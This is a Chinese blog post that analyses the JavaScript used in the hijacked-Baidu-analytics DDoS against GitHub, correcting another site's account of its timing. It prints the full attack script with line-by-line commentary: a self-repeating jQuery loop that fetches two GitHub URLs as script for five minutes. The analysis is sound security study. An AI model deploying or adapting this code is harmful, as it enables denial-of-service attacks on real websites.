前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。
就分析了下JS的执行,发现乌云解析的地方说错了。
文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。
我看了下代码的意思是:
第一次请求,延迟2秒钟请求。
然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。
从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。
你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。
以下为JS的详解(JS很烂,求板砖):
1 document.write("<script src=‘http://libs.baidu.com/jquery/2.0.0/jquery.min.js‘>\x3c/script>"); //加载jQuery 2 !window.jQuery && document.write("<script src=‘http://code.jquery.com/jquery-latest.js‘>\x3c/script>"); //判断windows.jQuery有没有被定义,没有就再加载JQuery 3 startime = (new Date).getTime(); //获取当前时间戳,毫秒(最初执行时间) 4 var count = 0; //总请求次数 5 6 function unixtime() { //获取一个时间戳 7 var a = new Date; 8 return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000 9 } 10 11 url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; //定义要请求的URL 12 NUM = url_array.length; // 获取URL数组长度,两个URL 13 14 function r_send2() { 15 var a = unixtime() % NUM; //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼 16 get(url_array[a]) //带入URL进入GET函数 17 } 18 19 function get(a) { //定义get函数,功能就是请求URL。用的jQuery.ajax()方法 20 var b; //请求时间差 21 $.ajax({ 22 url: a, //请求的URL 23 dataType: "script", //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。 24 timeout: 1E4, //1e4=10000,设置请求超时时间 25 cache: !0, //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。 26 beforeSend: function() { //发送请求前可修改 XMLHttpRequest 对象的函数 27 requestTime = (new Date).getTime() //获取当前时间戳,毫秒(请求开始的时间) 28 }, 29 complete: function() { //请求完成后回调函数 30 responseTime = (new Date).getTime(); //获取当前时间戳,毫秒(请求完成的时间) 31 b = Math.floor(responseTime - requestTime); //请求时间差,网络响应慢后面就请求慢了~ 32 3E5 > responseTime - startime && (r_send(b), count += 1) //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++ 33 } 34 }) 35 } 36 37 function r_send(a) { 38 setTimeout("r_send2()", a) //等待a毫秒以后执行r_send2() 39 } 40 setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数 41 // PS: r_send2() -->get() --> r_send() -->r_send2()-->loop 42 // PS: 并不是每两秒钟执行一次请求
时间: 2024-10-11 06:05:08